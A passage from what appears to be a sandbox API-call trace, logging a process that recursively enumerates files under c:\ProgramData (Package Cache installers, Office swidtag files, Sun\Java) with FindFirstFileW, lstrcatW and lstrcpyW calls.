Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*" [0121.620] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.620] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.620] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.620] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.620] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.620] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.620] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0121.620] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0121.620] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned 68 [0121.620] lstrlenW (lpString="state.rsm") returned 9 [0121.620] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" [0121.620] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 77 [0121.620] lstrcpyW (in: lpString1=0x24aa2a8, lpString2="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" [0121.620] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.621] lstrcmpW (lpString1="VC_redist.x64.exe", lpString2=".") returned 1 [0121.621] lstrcmpW (lpString1="VC_redist.x64.exe", lpString2="..") returned 1 [0121.621] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned 68 [0121.621] lstrlenW (lpString="VC_redist.x64.exe") returned 17 [0121.621] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\", lpString2="VC_redist.x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" [0121.621] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 85 [0121.621] lstrcpyW (in: lpString1=0x24aa350, lpString2="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" [0121.621] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.621] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.621] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.621] lstrcmpW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2=".") returned 1 [0121.621] lstrcmpW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="..") returned 1 [0121.621] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.621] lstrlenW (lpString="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 38 [0121.621] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0121.621] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0121.621] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned 68 [0121.621] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*" [0121.621] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.621] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.621] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.621] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.621] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.621] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.621] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0121.621] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0121.621] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned 68 [0121.621] lstrlenW (lpString="state.rsm") returned 9 [0121.621] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" [0121.621] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 77 [0121.621] lstrcpyW (in: lpString1=0x24aa408, lpString2="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" [0121.621] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.621] lstrcmpW (lpString1="vcredist_x86.exe", lpString2=".") returned 1 [0121.621] lstrcmpW (lpString1="vcredist_x86.exe", lpString2="..") returned 1 [0121.622] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned 68 [0121.622] lstrlenW (lpString="vcredist_x86.exe") returned 16 [0121.622] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\", lpString2="vcredist_x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" [0121.622] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 84 [0121.622] lstrcpyW (in: lpString1=0x24aa4b0, lpString2="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" [0121.622] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.622] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.622] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.622] lstrcmpW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2=".") returned 1 [0121.622] lstrcmpW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="..") returned 1 [0121.622] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.622] lstrlenW (lpString="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 38 [0121.622] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0121.622] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0121.622] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned 68 [0121.622] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*" [0121.622] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.622] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.622] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.622] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.622] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.622] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.622] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0121.623] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0121.623] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned 68 [0121.623] lstrlenW (lpString="state.rsm") returned 9 [0121.623] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" [0121.623] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned 77 [0121.623] lstrcpyW (in: lpString1=0x24aa568, lpString2="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" [0121.623] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.623] lstrcmpW (lpString1="VC_redist.x86.exe", lpString2=".") returned 1 [0121.623] lstrcmpW (lpString1="VC_redist.x86.exe", lpString2="..") returned 1 [0121.623] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned 68 [0121.623] lstrlenW (lpString="VC_redist.x86.exe") returned 17 [0121.623] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\", lpString2="VC_redist.x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" [0121.623] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned 85 [0121.623] lstrcpyW (in: lpString1=0x24aa610, lpString2="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned="c:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" [0121.623] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.623] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.623] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.623] lstrcmpW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2=".") returned 1 [0121.623] lstrcmpW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="..") returned 1 [0121.623] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0121.623] lstrlenW (lpString="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned 49 [0121.623] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0121.623] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0121.623] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned 79 [0121.623] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*") returned="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*" [0121.623] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.624] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.624] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.624] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.624] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.624] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.624] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0121.624] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0121.624] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned 79 [0121.624] lstrlenW (lpString="packages") returned 8 [0121.624] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="c:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0121.624] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.624] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.624] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0121.624] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0121.624] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.624] lstrcmpW (lpString1="regid.1991-06.com.microsoft", lpString2=".") returned 1 [0121.624] lstrcmpW (lpString1="regid.1991-06.com.microsoft", lpString2="..") returned 1 [0121.624] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0121.624] lstrlenW (lpString="regid.1991-06.com.microsoft") returned 27 [0121.624] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="regid.1991-06.com.microsoft" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft") returned="c:\\ProgramData\\regid.1991-06.com.microsoft" [0121.624] lstrcatW (in: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft", lpString2="\\" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\" [0121.624] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\") returned 43 [0121.624] lstrcatW (in: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\", lpString2="*" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\*") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\*" [0121.624] FindFirstFileW (in: lpFileName="c:\\ProgramData\\regid.1991-06.com.microsoft\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0121.626] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.626] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.626] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.626] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.626] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.626] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", lpString2=".") returned 1 [0121.626] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", lpString2="..") returned 1 [0121.626] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\") returned 43 [0121.626] lstrlenW (lpString="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned 82 [0121.626] lstrcatW (in: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\", lpString2="regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" [0121.626] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned 125 [0121.626] lstrcpyW (in: lpString1=0x24aa6c8, lpString2="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" [0121.626] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.626] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", lpString2=".") returned 1 [0121.626] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag", lpString2="..") returned 1 [0121.626] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\") returned 43 [0121.626] lstrlenW (lpString="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned 78 [0121.626] lstrcatW (in: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\", lpString2="regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" [0121.626] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned 121 [0121.626] lstrcpyW (in: lpString1=0x24aa7d0, lpString2="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Licensing Component.swidtag" [0121.626] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.626] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", lpString2=".") returned 1 [0121.626] lstrcmpW (lpString1="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", lpString2="..") returned 1 [0121.626] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\") returned 43 [0121.626] lstrlenW (lpString="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned 81 [0121.626] lstrcatW (in: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\", lpString2="regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" [0121.626] lstrlenW (lpString="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned 124 [0121.626] lstrcpyW (in: lpString1=0x24aa8d0, lpString2="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" | out: lpString1="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned="c:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" [0121.626] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0121.626] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0121.627] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.627] lstrcmpW (lpString1="Start Menu", lpString2=".") returned 1 [0121.627] lstrcmpW (lpString1="Start Menu", lpString2="..") returned 1 [0121.627] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0121.627] lstrlenW (lpString="Start Menu") returned 10 [0121.627] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Start Menu" | out: lpString1="c:\\ProgramData\\Start Menu") returned="c:\\ProgramData\\Start Menu" [0121.627] lstrcatW (in: lpString1="c:\\ProgramData\\Start Menu", lpString2="\\" | out: lpString1="c:\\ProgramData\\Start Menu\\") returned="c:\\ProgramData\\Start Menu\\" [0121.627] lstrlenW (lpString="c:\\ProgramData\\Start Menu\\") returned 26 [0121.627] lstrcatW (in: lpString1="c:\\ProgramData\\Start Menu\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Start Menu\\*") returned="c:\\ProgramData\\Start Menu\\*" [0121.627] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Start Menu\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0xffffffff [0121.627] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0121.627] lstrcmpW (lpString1="Sun", lpString2=".") returned 1 [0121.627] lstrcmpW (lpString1="Sun", lpString2="..") returned 1 [0121.627] lstrlenW (lpString="c:\\ProgramData\\") returned 15 [0121.627] lstrlenW (lpString="Sun") returned 3 [0121.627] lstrcatW (in: lpString1="c:\\ProgramData\\", lpString2="Sun" | out: lpString1="c:\\ProgramData\\Sun") returned="c:\\ProgramData\\Sun" [0121.627] lstrcatW (in: lpString1="c:\\ProgramData\\Sun", lpString2="\\" | out: lpString1="c:\\ProgramData\\Sun\\") returned="c:\\ProgramData\\Sun\\" [0121.627] lstrlenW (lpString="c:\\ProgramData\\Sun\\") returned 19 [0121.627] lstrcatW (in: lpString1="c:\\ProgramData\\Sun\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Sun\\*") returned="c:\\ProgramData\\Sun\\*" [0121.627] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Sun\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0121.628] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.628] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.628] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.628] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.628] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.628] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0121.628] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0121.628] lstrlenW (lpString="c:\\ProgramData\\Sun\\") returned 19 [0121.628] lstrlenW (lpString="Java") returned 4 [0121.628] lstrcatW (in: lpString1="c:\\ProgramData\\Sun\\", lpString2="Java" | out: lpString1="c:\\ProgramData\\Sun\\Java") returned="c:\\ProgramData\\Sun\\Java" [0121.628] lstrcatW (in: lpString1="c:\\ProgramData\\Sun\\Java", lpString2="\\" | out: lpString1="c:\\ProgramData\\Sun\\Java\\") returned="c:\\ProgramData\\Sun\\Java\\" [0121.628] lstrlenW (lpString="c:\\ProgramData\\Sun\\Java\\") returned 24 [0121.628] lstrcatW (in: lpString1="c:\\ProgramData\\Sun\\Java\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Sun\\Java\\*") returned="c:\\ProgramData\\Sun\\Java\\*" [0121.628] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Sun\\Java\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 